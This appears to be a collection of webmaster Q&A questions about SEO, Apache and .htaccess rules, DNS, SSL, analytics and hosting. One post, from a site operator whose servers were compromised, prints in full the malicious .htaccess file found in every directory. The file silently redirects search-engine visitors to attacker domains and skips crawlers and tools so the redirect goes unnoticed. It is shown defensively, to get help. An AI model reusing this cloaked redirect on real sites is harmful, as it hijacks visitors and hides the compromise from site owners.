title: SEO blog Indexing: wordpress.com subdomain vs a registered domain?

text: I've used WordPress for a few of my client's sites, mostly small businesses and eCommerce sites. I have found through Google Analytics as well as the All in One Webmaster plugin that when it comes to social media, using WordPress is a surefire way of getting your site indexed by Google and occasionally Bing and Yahoo. Since I am a heavy WP user, I'd like to contribute by registering a dot WordPress domain for my portfolio. When using a WP installation concurrently with a WP domain, e.g. `myportfolio.wordpress.com`, will the site be more or less likely to be indexed rather a generic `myportfolio.com` domain? I've seen mixed opinions where people seem to favor a WP domain for URL output where others say that it's a moot point, and that Google will not favor a WP domain over a dot com domain as long as your meta tags are updated and content is keyword optimized. I tend to disagree and believe a WP domain would more likely be indexed and output more URLs over an individual, laconic domain like `myportfolio.com`. Am I wrong?


title: Site compromised .htaccess files everywhere

text: Some of the sites we're hosting are compromised by... I don't know what. Every directory on the webserver contains a .htaccess file which redirects a user coming from a search engine to a page which doesn't even exist - see the .htaccess file below. The problem first appeared on 10 December 2010 and has been spreading ever since. It affected 8 servers at 3 different hosting providers. I've found some links in Google to similar problems but no explanation as to what is going on. The solution is very simple: just delete the file, but that's not what I'm after. The redirect url seems to be different for every infected domain, here's a list:   * indanetwall.net   * checkforsec.com   * trackallnet.com   * bonusforall.net   * searchforallweb.com   * sslabssys.com Googling on those lead to more people reporting the same problem using all kinds of different systems. Apparently it had nothing to do with a specific server or a specific server configuration. All the latest updates were installed for the OS and installed CMS systems. It also affected servers without any CMS installed so we couldn't put the blame there. We don't know how the files got there but it wasn't through ftp. In the end we changed all passwords for the ftp accounts, hosting provider account, databases, anything. We did a thorough scan of all the servers and the local network but didn't find anything there. So the final conclusion is that somebody somehow got hold of a bunch of passwords to access our systems. Luckily they didn't do any 'real' damage and in the end it was no more than a big annoyance... But it could've been much worse. The htaccess file looks like this:               # exgocgkctswo     RewriteEngine On     RewriteCond %{REQUEST_METHOD}   ^GET$     RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$   [NC]     RewriteCond %{HTTP_REFERER}     !^.*(q\=cache\:).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fcuk\sYou|Google).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|Mac\sOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WOW64|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]     RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]     RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$     RewriteCond %{HTTPS}            ^off$     RewriteRule ^(.*)$   http://searchforallweb.com/cgi-bin/r.cgi?p=9004&i=138ee363&j=315&m=c1ca5d58dda23245366719cd597ac0d5&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME}  [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]     # exgocgkctswo      Has anyone experienced similar problems? Does someone know what this is and how we can stop it?


title: How long for Google to index all site maps?

text: We recently uploaded new sitemaps, as the old ones were out of date and we've also upgraded our forum which changed the URLs of a lot of our website (we're 301 redirecting of course). We uploaded the site map a few days ago. Initially the indexing seemed to be going well, but it paused on the numbers below here and appears to have been stuck here for over 24 hours: ![enter image description here](http://i.stack.imgur.com/3cKyf.jpg) Is this normal? Unfortunately, the users sitemap is probably the least important one but appears to be the bulk of the indexes so far. Should we give it a bit more time, or perhaps make the links we consider more important a higher than 0.5 priority? You can view our sitemaps here: https://www.scirra.com/robots.txt


title: Google webmasters report links to my site, which don't exist

text: Today, I logged in to my Google's webmaster tools, and I saw that it reported an unusual inbound links to my site. I saw some of them and navigated to them and tried to find the link to my site, but I couldn't find anything. Is there anything wrong with Google here? Have you experienced the same thing? What should I do?


title: Apache, Rewrite Rule and Directories

text: I'm using the current virtual host:               <VirtualHost *:80>         ServerAdmin webmaster@mysite         ServerName example.co.uk         ServerAlias www.example.co.uk         DocumentRoot /home/example.co.uk/htdocs/         <Directory /home/example.co.uk/htdocs/>                 Options -Indexes FollowSymlinks MultiViews                 AllowOverride All                 Order allow,deny                 allow from all         </Directory>         ErrorLog ${APACHE_LOG_DIR}/example.co.uk/error.log         LogLevel warn         CustomLog ${APACHE_LOG_DIR}/example.co.uk/access.log combined     </VirtualHost>      Within the .htaccess in the root I'm using `RewriteRule ^enquiries$ /enquiries.php` amoung several other redirects. Somehow I have also a directory named "enquiries" (/home/example.co.uk/htdocs/enquiries/), and when I hit the URL `www.example.co.uk/enquiries` I get:               HTTP/1.1 301 Moved Permanently     Date: Mon, 10 Dec 2012 18:53:37 GMT     Server: Apache/2.2.16 (Debian)     Location: http://www.mysite.co.uk/enquiries/     Vary: Accept-Encoding     Content-Type: text/html; charset=iso-8859-1      Any browser would also display the directories content. I could easily rename the folder and get it sorted, but I would like to understand what's going on here. What would be the correct way to configure Apache in a way that it wont behave this way? If I did not explain myself clearly, please feel free to ask more questions, I'd be happy to answer them. Thanks!


title: MAMP not working as 'localhost' but works with "127.0.0.1"

text: I just installed MAMP on Mac OSX 10.8.2. When it is started, I'm not able to access the server through `http://localhost:8888` but when I visit `http://127.0.0.1:8888/` and it works fine. Why is it so? and how can I make it work with when I type `http://localhost:8888`


title: Why do sites redirect to the canonical URL if it can parse a page correctly given any slug?

text: Several sites that I have come across, including Stackoverflow, perform a 301 redirect when given an "incorrect" slug. For example:               http://webmasters.stackexchange.com/questions/9/incorrect-slug      will be redirected permanently to:               http://webmasters.stackexchange.com/questions/9/who-is-a-great-domain-registrar-company      But ~~since~~ assuming that the canonical URL is already specified, wouldn't the search engine point to the correct URL? What is the rationale for doing a redirect if the a page does not require the slug to parse correctly? Further, is it a prerequisite to have at least a link pointing to the canonical URL in order for the page to be ranked? Will Google add search result to the canonical URL `http://mysite.com/user/1/joe` if all my links point to `http://mysite.com/user/1`?


title: open source plugins,scripts store information?

text: I'm wondering if open source plugins like wordpress,drupal or jquery and many more detect for example what websites are using their plugin. If so, is there any plugin which can detect which website is using your script/plugin. Something like google analitycs but for tracking websites. If you have any idea, suggestions ... Thanks!


title: Setup Reverse DNS with Cpanel and WHM?

text: I needed to set-up a reverse DNS via cpanel. I followed the steps in this tutorial but it didn't work: http://docs.cpanel.net/twiki/bin/view/11_30/WHMDocs/RdnsForBind. I use my own name servers registered with go-daddy. But I am with VPS hosting company. I did use a new serial number and exactly as the tutorial however didnt seems to be working When I check this via windows               nslookup {ip-address}      I still get the my hosting company name, when reversed.


title: Canonical tags for separate mobile URLs

text: I have a Drupal website serving mobile pages from different urls (starting from /mobile). According to Google recommendations I should use the canonical tag to map desktop and mobile pages. Right now I did this in case I serve the same node (e.g: node/123 and mobile/node/123) but should I do this for other pages as well that are equivalent but share a different content? For example do I need to map the desktop and mobile homepages even if they don't have the same content at all?


title: How to use CSS to get 5 buttons aligned like this

text: I'm struggling to get a design like I put in this image in CSS. I'm using wordpress, and my theme just adds a full image to the top, I would like to make the most of space. http://antinovaordemmundial.com/test/header.png I have already all the buttons as single images (at this point I prefered to not to use sprites) and each image has a light version, to show "on-hover". Thanks


title: Google indexable web static tree component

text: I'm building application with lots of data. I decided to present this data in tree view like control. Something like Process Explorer ![](http://cdn.portableapps.com/ProcessExplorerPortable.png) I'm wondering how to build this to maximize potential to index this data by Google bot. I want data to be well presented but at the same time make it accessable by Google. Is there a way of doing it?


title: 301 re-direct all external links to new domain

text: I have changed the main domain to a sub-domain & would like to re-direct all external links to the new sub domain. Have read a few articles but having no luck editing the .htaccess as it might be interfering with all the rules in there. Old: `www.example.co.uk`   New: `https://secure.example.co.uk` The current rules are quite handy because it seems to have sorted out the structure for all internal links. It has even updated the file path for images (or this could just be wordpress as the url was updated under general settings). This is the current .htaccess               <files wp-config.php>     order allow,deny     deny from all     </files>     # BEGIN WordPress     <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /index.php [L]     </IfModule>          # END WordPress


title: Second step of a funnel higher than first step in Google Analytics

text: I have a problem with the funnels in Google Analytics. So I have a e-commerce website that I want to track the user path to a purchase. I want GA to track if a user goes trough these steps **[Item page]** → **[Purchase]** → **[Checkout]**. I thought this could be done by funnels and my setup currently now consist of:   Step 1: **[Item page]** (Required)   Step 2: **[Purchase]**   Goal: **[Checkout]**   But when I go to the "Funnel Visualization Report" the following shows.   **[Item page]** Visits: 150   **[Purchase page]** Visits: 170   **[Checkout]** Visits: 32 How can the **[Purchase page]** be higher than the **[Item page]**? I searched the internet over, and found something called **Horizontal Funnels** but this doesn't show the correct numbers, again the purchase and checkout steps are higher than the item page. So somehow it doesn't need step 1, to fulfill the funnels/goals. What am I doing wrong?


title: Should each page of a Blog listing have its own Title

text: Should example.com/Blog?Page=1, example.com/Blog?Page=2, etc have the same title? I have done some research on this and SEOMoz's tools say I have duplicate titles and so does Google's Webmaster tools. If you look at top end examples like http://www.seobook.com/blog and http://www.seomoz.org/blog they both use the same title across all query of their ?Page=X URLs. So what is the better choice or does it even matter?


title: Robots.txt got changed to disallow crawling by accident

text: Our _robots.txt_ mistakenly got changed to:               User-agent: *     Disallow: /      This occurred about 2 weeks ago and was changed back yesterday to allow crawling. Our listed pages in the Googles have decreased substantially, though it looks like Google has already started adding more search results for the site in question since changing the _robots.txt_ back. Are there long term repercussions of this happening, or will everything get back to normal once the site is crawled again?


title: Meta Descriptions not working for google search

text: I have unique meta descriptions on each of my pages, and when I search my site in google it will come up with no description. Any idea what I might have done wrong?


title: 301 Redirect vs. Domain Fowarding GoDaddy

text: I have a domain that is registered (but not hosted with GoDaddy). Previously, it used GoDaddy's domain forwarding to forward the domain to a google sites domain, but I would now like to use a 301 redirect on the domain. **What I've Tried** - I was looking at how to make .htaccess 301 redirects, but then I noticed the following on GoDaddy when looking at the domain forwarding. ![enter image description here](http://i.stack.imgur.com/7W8hR.png) This looks as though it is using a 301 redirect. Is this sufficient to serve as a 301 redirect? Essentially, is it the same thing?


title: Where does Apache get the 'last modifed' date for its automatic indexes?

text: I have a Solaris server running Apache, and I am using the following .htaccess to generate automatic indexes.               Options +Indexes     # SET INDEX OPTIONS     IndexOptions +NameWidth=*      Where does the "Last modified" date come from in the index that is generated? ![index screenshot](http://i.stack.imgur.com/NgQrv.png) It does not appear to be from any of the filesystem dates. ![filesystem screenshot](http://i.stack.imgur.com/jchn1.png) Note that I copy these directories to this location. It seems to be showing the creation date for the directory that I copied, not the date that I copied it. If it's not the atime, ctime, mtime, or crtime, where does Apache find this date?


title: General question as a new webmaster

text: I am wanting to make my own social forum for friends and workers. I will have about 10,000-15,000 users. I have never made a forum on such a high scale and to this point have only been a developer with PHP. I have also worked with MySQL, HTML, JS and CSS. How can I handle any sort of hacker attacks or attempts made to stealing my user's private data? What Webhosting service do you know of or recommend that I deploy my site onto for decent service and confidentiality? I am located in Canada but my users will be within North America. From your experience, if you have any tips or advice for this newbie webmaster I would be more than happy to take it all in.


title: Privacy Policy for english site located in france, owned by italians

text: i'm really in trouble with the Privacy Policy of my site, cause i'm wondering, if my site is written ONLY in english language, then is located on a french server, then is owned by italians people, what the language of the privacy policy must be and which the laws to follow (i guess italian privacy policy law)? I think i need to put in the italian privacy policy law in italian language, or should i translate that from italian to english or put that with both the translations (italian/english)? The site can be accessed from wherever in the world you are, so potential visitors will be from allaround the world. thank you.


title: Good Compression for Slow-mo Video

text: What's the best way to deliver super slow-motion video to the browser? This seems to me to be a special case, because with super slow-mo video (such as 10,000 frames per second) the visual difference from frame to frame is minimal. As such, it's easy to compress highly. Please suggest codecs, as well as encoding software, backend software, software configuration tips, and services like youtube. My goal is to get about 100 frames of QVGA video to the browser in 500KB. By the way, remember that Radiohead In Rainbows site?


title: Separate 404 page for subdirectory

text: I've made a subsite which runs under `mydomain.com/subsite` - idealy from an architecture point of view it would be under a subdomain, but we wanted the links to come back to the main domain. The sub site has a completely different design, and layout, and has a 404 page that is in keeping with the rest of it. How can i set the 404 for the `/subsite` subdirectory, without affecting the root domains 404 settings in the `.htaccess` file.


title: Why don't social news websites like Reddit or Hacker News show up more in Google results?

text: It's well known that Google tends to favor user generated content, so Wikipedia, StackExchange and so on often come up as the top results. However, I've noticed that I rarely ever see Reddit or Hacker News showing up despite the quality discussions going on over there. Is there any reason for that? Is it due to poor SEO? In general, what could trigger Google to generally ignore these two websites?


title: SEO-friendly Responsive Design, swap navigation UL for Select?

text: I am designing the menu for a web site, and I was hoping to find an SEO- Friendly way to implement the Responsive Design used here: Ask4Sam.net- Responsive Design Example As you can see, for large resolutions the navigation menu is an unordered list of buttons, however to save space at smaller resolutions it becomes a drop- down menu. I think this is a great effect, but the only ways I can think of to implement it are- A) Use CSS Media Queries and set Display:none to hide one menu and show the other, B) Use Javascript to hide the unused menu or C) Use jQuery to remove one menu from the DOM and dynamically insert the other on resize. However, I'm worried about duplicate menus and hidden content giving the site an SEO penalty. Is one of these techniques SEO-Friendly? Is there another technique that is better than these?


title: Htaccess - Rewrite png to php file

text: I currently use `trans.png.php?id=1&campaign=test` to track my newsletter campaigns. I want to use trans.png instead as it's the src of an img tag. How can i do this in htaccess? Also is there any way I can disguise the get variables?


title: Is a "back" link on each page really needed?

text: I saw some sites having a `<<back` link on each page below the site top level that basically just invokes a JScript function that gets the browser history and navigates one page back. So it functions exactly as a browser "Back" button would. To me it makes no sense - it just duplicates an already existing thing. I tried to talk to several web designers - they all claim that it improves navigation so that the user doesn't get lost. I always used the browser "Back" button and it just worked. Is such link really helpful? How is it better than just a browser "Back" button?


title: Point GoDaddy DNS to other DNS master for new subdomain

text: I have a domain `domain1.com and` am creating a new subdomain `sub.domain1.com` and this subdomain has it's own DNS, NOT GoDaddy's DNS. I manage `domain1.com` DNS in GoDaddy right now and need to tell it that anyone looking for `sub.domain1.com` should go to ip `y.y.y.y` (master) or ip `x.x.x.x` (backup/slave). Is there a way to do this? I am a little familiar with how the DNS for .com points to the masters on the internet but I just need the `domain1.com` to tell people where the master is for `sub.domain1.com`. I think I know how to, roughly, do this in bind9, but needed a quick solution for how to do it on GoDaddy.


title: Documented Web Site Design Process

text: Is there any well documented process to be used in web site design projects?


title: Adwords - Ad disapproved - Invalid HTTP Response Code

text: I created a new Adwords campaign but it's getting rejected because of the reason: _[Destination URL] Invalid HTTP Response Code_ I used fiddler2 to see what could be up with the response codes but nothing fishy came up except maybe for an HTTP Code 302. for those curious the page is atommagnet dot com.


title: Advice on software infrastructure for a FLOSS bounty site

text: I am planning to set up a simple web site where people can offer bounties for work on FLOSS projects. Unfortunately I have no experience at web development (I am a C/C++ developer), so I was hoping someone might be able to suggest out-of-the-box packages (preferably Debian ones) I could use to build the site from. My idea of how the site would work is to keep things as simple as possible. The person proposing a bounty would enter a description with relevant links (particularly to a bugtracker entry with the project the work is to be done on, where the real discussion and work would take place) and information and place an initial contribution. Other people would be able to add (donate, not pledge) contributions, but any discussion would take place on the project's bugtracker. I am also planning to run a mailing list rather than a forum (at least initially), so that is not a requirement. Paypal seems to me to be the handiest payment mechanism. So overall what I need is probably a simple interface with Paypal integration and a simple database backend. I hope this is the right place for my question, if not I would be grateful for pointers to somewhere better. And of course, this is purely about the technical side, though I am more than happy to discuss other aspects of the project elsewhere.


title: Does Google handle featured images as duplicate content?

text: I own a photography website and for each post I attach a featured image that is exactly like the original one but much smaller. Does Google count the featured image as duplicate content?


title: Is RapidSSL WildCard Cert suitable for my eCommerce Web site?

text: We have recently launched our online T-Shirts shop which is based on eCommerce platform but certainly we have been facing problem of customer’s transactions security as they were asking for suitable security of their confidential information while shop online over the my website. One of my friends is being used RapidSSL WildCard Certificate from RapidSSLonline.com To be clear that we don’t know much about SSL certificate security but we have found that SSL certificates ensure the online web site visitors towards their digital transaction safety. We would like to know that Is RapidSSL Wildcard Certificate the right choice for eCommerce shop?


title: CPanel - Wild card SSL - How to point *.domain.com to one root and sub.domain.com to another root

text: I have a wildcard (*.domain.com) SSL certificate installed on my CPanel server. I have domain.com configured to point to /domain.com as its document root and use this wildcard SSL certificate. I also have sub.domain.com configured to point to /sub.domain.com as its document root. Btw, I have not explicitly configured configured sub.domain.com to use the wildcard SSL certificate. When I go to "http://sub.domain.com" it goes to the correct document root, however my problem is that when I go to "https://sub.domain.com" it goes to the incorrect root, it goes to the root configured for the wildcard SSL. I've been trying to find information on how to go about configuring sub.domain.com to use the SSL certificate and go to the correct document root, however, so far I haven't found anything concrete. Do I use the same steps that I used for configuring the certificate for domain.com, but use the same certificate again and specify dev.domain.com as the domain that this certificate is for (instead of *.domain.com)? Or is there something else I should be doing? This is a production server, so I don't want to play around too much. I'm hoping to find the correct information before proceeding.


title: Embedded Internet Explorer

text: I am developing a web page that must be opened in a software that uses the Embedded Version of the Internet Explorer. How does the Embedded Internet Explorer work? Does it come installed with the software I am going to use or it uses the regular Internet Explorer of my system?


title: Ad Publishing services

text: I recently had my Google Adsense account disabled for (apparently) invalid click activity, even though I had done nothing wrong. Although I have appealed for the reinstatement of my account, I am still blocked. Is there any other Ad Publishing service I could use?


title: Best Free software for hosting user guides

text: After having to clean up spam from a MediaWiki install for the umpteenth time, despite a recaptcha plugin "preventing" automated signups, I'm wondering if MediaWiki is the right choice as a CMS for hosting user manuals and guides. I've always loved the way wikis can let the guides be edited and commented on collaboratively, but I'm getting tired of dealing with automated vandals. I've disabled edits & signups for now, but as I'm having to go through the pain of cleaning thousands of junk pages, I'm beginning to think I should cut my losses and look for a better alternative. Does anyone know of suitable a FOSS application (preferably PHP / MySQL based) that would be simple for a non-coder (our manual writer) to edit, but that has all the interconnectivity, and searchability of a wiki? Or should I just bite the bullet again and lock the wiki down even further?


title: Strategies for very fast delivery of webpages

text: I run a website Cucumbertown with an **initial pay load of nearly 9KB zipped**. ![enter image description here](http://i.stack.imgur.com/WWS7Z.png) All my js is delayed loaded with requirejs and modernizer is the only exception. Now all my webpages are Nginx cached and **only 10-15% hits go to the backend proxy**. And the cache is invalidated by logged in users as proxy_cache_bypass. So for an anonymous user its nearly always a cache hit. I have some basic OS tuning with               default via ip dev eth0  initcwnd 15                                               net.ipv4.tcp_slow_start_after_idle 0      Despite an all cache & large initcwnd my pages still `take 2.5 – 3 seconds`. I have a yslow score of ![enter image description here](http://i.stack.imgur.com/2kzX4.png) And page speed at ![enter image description here](http://i.stack.imgur.com/kTgVz.png) Are there strategies that can help **deliver webpages even faster than this**? Deliver pages at 1+ second time for 10KB payload? Notes: My servers run of a fairly good data center from Linode at Fremont.


title: Can prefixing a dash reduce the search engine rating?

text: If I prefix a dash to GUIDs in my URLs on my Web site, in this manner:               example.com/some/folders/-35x2ne5r579n32/page-name      Will my SEO rating be affected? **_Background:_** On my site, people can look up pages by GUID, and by path. For example,   both `example.com/forum/-3v32nirn32/eat-animals-without-friends`   and `example.com/forum/eat-animals-without-friends` could map to the same page. To indicate that `3v32nirn32` is a GUID and not a page name, I thought I could prefix a `-` and then my webapp would understand. But I wouldn't want my search engine rating to drop. And prefixing a dash in this manner seems weird, so perhaps Googlebot lowers my rating. Hence my question: Do you know if my search engine rating might drop? (Today or in the future?) (I could also e.g. prefix `id-`, so the URL becomes `example.com/forum/id-3v32nirn32`, but then people cannot create pages that start with the word "id".) (I think I don't want URLs like this one: `example.com/id/some-guid`.) Kind regards, Magnus


title: How to make my websites content available as Tor .onion and clearnet .com

text: I'm running a website with Nginx which I would like to be accessible by Tor and by clearnet. Currently it's only reachable by clearnet, e.g. www.example.com. Of course people just can go to www.example.com through Tor browser, but I want to have a .onion address too for the same website. I want the website and content to be accessible by www.example.com/ and xyzsfexample.onion/. So they see content from /var/www/www.example.com/web/index.php as xyzsfexample.onion/index.php ; IF they browse on xyzsfexample.onion ; IF they browse on example.com they should see example.com/index.php How do I set this up and how must Nginx be configured to do both?


title: My Herokuapp is inaccessible from custom domain name

text: I have a Heroku app that is located at myapp.herokuapp.com. I have mapped a domain name to this app, using the A properties. I followed the instructions on Heroku's website to the letter, and it worked for a few days. Now when I try to access the site from the custom domain, it's timing out! On Chrome, I am getting "Oops! Google Chrome could not find that page!" message. I tried pinging the name as well, but I got this error: > ping: cannot resolve yourhostname.org: Unknown host The app itself is working and I don't see any error messages from Heroku. Or from new Relic. What's going on here? Also tried running `host` and this was the error message: > ;; connection timed out; no servers could be reached


title: Javascript Geomap?

text: Are there any javascript geomaps like this one (which is in flash)? http://code.google.com/apis/visualization/documentation/gallery/geomap.html Thanks in advance


title: How important is the text on your frontpage for SEO?

text: I see many cool funky websites these days who have good page rank, but have little to no text on their homepage. It's been my understanding for a while now that search engines parse through your text and gather keywords to gain information on the relevancy of your page for a specific search query, but how are these sites getting around this when they have no text on their homepage? Is my understanding of SEO out of date (I am assuming this is likely), and if so, what SEO approach can I use if I wanted to redesign my site to have little to no text on the homepage?


title: Find 4chan post linking to your website?

text: I looked in my visitor statistics and saw that some people were coming from `boards.4chan.org`. Hmm, interesting. I'd like to see that post... Is there any way to find it?


title: Impact of simplifying a URL structure

text: My website is a directory with an extensive URL structure with several location-based tiers followed by an establishment name. E.g. /guide/qld/gold-coast/gold-coast-central/surfers-paradise/restaurants- dining/salt-grill This seems to work for the search engines but it throws up a range of problems that I would like to fix. The above link would 301 redirect to this: /establishment/1234/salt-grill That way, if an establishment changes it's name or the political boundaries change, it can still be found and a canonical href will be used. This will cover establishments appearing in multiple categories, in much the same way Ashoka found out here: here I should note, the results pages have the same URL structure and I do not intend to change that. From what I see, Google isn't displaying sitelinks relating to this structure. The question is, will Google throw a strop if I remove the locational hierarchy from establishment URLs? I have received conflicting advice on how to handle this change, hence throwing it out for community opinion.


title: Can I POST to a new window that I want to open up?

text: Is this possible?   1. A third party site is running my Drupal module   2. An end user clicks on a link which will:   3. Open up a new window www.mysite.com/redirect.php   4. and POST certain data to this page www.mysite.com/redirect.php I've seen the user's browser being redirected, but am not clear on how to do the above.


title: Is it possible to shut down a site and then reuse the old URL on a new site?

text: I am creating a web site for a friend's business. He already has a site, but it is a wizard-created site hosted free by Yahoo. I am creating am ASP.NET site from scratch. He wants to retain his URL - is that possible? Can he "release" the current URL (shut down that site) and then "reuse" it in the guise of the new site?


title: Reverse iframe breakout

text: I have around 500 pages, some of which are simply PDF files, that are meant to be viewed within an `iframe` on a seperate domain parent page (files are subdomained, however reside on a different server). What would be the best way to force the following behavior: If a user visits any page within this subdomain, and that is **not** in the `iframe` of the main site, to either show a link to the main site, or force redirect to the main site (301?) What would be the proper SEO way to make sure that the items hosted on the subdomain are properly referenced to the main domain? As a side note, the subdomain can use any PHP necessary, however the main domain cannot use PHP (which is why the whole subdomain route is necessary).


title: How do search engines treat out-tracked links

text: Some websites have out tracking / outgoing click tracking so that when you click on a link such as mysite.com on example.com you momentarily get taken to example.com/outgoing/mysite.com which then redirects to mysite.com. All this does is enable the example.com's owners to see which links people were leaving the site by, by checking the analytics of that outgoing page. But how does this effect back linking, will a search bot be able to recognize this and count is as a normal backlink to mysite.com ?


title: Can I use asterisks in URLs?

text: Are there any reasons I shouldn't use an asterisk (`*`) in a URL? _Background:_ With asterisks, I could provide these nice and user friendly (or what do you think??) URLs:   * `example.com/some/folder/search-phrase*`   means _search for pages with names starting with "search-phrase", located in /some/folder/_.   * `example.com/some/**/*search-phrase*`   means _search for any page with "search-phrase" anywhere in its name_.   * `example.com/some/folder/*`   means _list all pages in /some/folder/ (rather than showing the /some/folder/index page)_.


title: How to prove someone is a Realtor on my website

text: My boss would like me to have some sort of a "login" for Realtors. The point is to have a certain portion of the site only available to Realtors. Initially he thought we could check their name and license number, but that information is publicly available (usually on their business card). Is there a global database I can link to that all Realtors are a part of, or some other way that I can make sure someone is a Realtor before forwarding them to the appropriate section of the website? This needs to function for Realtors in all states of the United States. I'm not sure that such a national database even exists, and if it does, how I would be able to access it. Thank you for your time and input!


title: Format numbers with css

text: Is it possible to format numbers using css ? When I have `7000000.00`, I would like it displayed as `7 000 000.00` I know I could write a backend (php, perl...) function or a javascript function that could return the formatted number but... The numbers that I want to format are into a cell. I would like to have something like `<td class="myformat">7000000.00</td>`   or   `<td><span class="myformat">7000000.00<span></td>`


title: How to use Canonical and Original-Source Correctly, on multilingual website?

text: was wondering wether searchengines index this correctly in a multilingual website: Currently, the htaccess eats nice urls on pages like `/de/somepage` and rewrites them invisibly to `/somepage?ln=de` so the query with the language (de, fr, en, it, etcettera) is put as a folder and the current page is added after it. Resulting in a clean static url that is better cachable than the one with ?= string url (is this true by the way?) However, some months ago there were no nice urls. only ugly ones floating on my site. imagine! Now I found out these old urls still remain roaming on the searchengines and think that these ugly ones are stretching their lifespan further than I pleased them to. So. Would this suffice (each and every page would have its own canonical...               <link rel="canonical" href="http://website.com/fr/page444">      As well as an original-source meta:               <meta name="original-source" content="http://website.com/fr/page444""/>      Is this the right way to do it? Any and all info is +1 worth to me.


title: How do I place a static wallpaper in my Tumblr theme?

text: How do I place a static wallpaper in this HTML theme? http://static.tumblr.com/taepiis/5SFln832d/theme.txt


title: What are the essential HTML tags?

text: I want to know what HTML tags are "compulsory" a web-page should have, in order for it to be displayed by a web-browser. Also, what is the difference between different versions of HTML, in general?


title: What does the user "nobody" represent in server process logs

text: I am new to vps hosting. I checked daily process logs on my server and found a user with name nobody consuming more memory than others. So what is the user nobody related to and why is it consuming more memory? This is the log info I found:               user / cpu / mem / mysql       nobody / 0.00 / 27.31 / 0.0


title: Could reverting to my old site bring back old SEO rankings?

text: Suppose I have s website that shows on 2nd Google page and I want to redesign it. What elements should I keep unchanged so that the ranking is not effected? If the ranking does go down and I decide to re-upload the old files, will the rank just return to what it had been?


title: Wild card redirect in htaccess giving error this webpage has a redirect loop

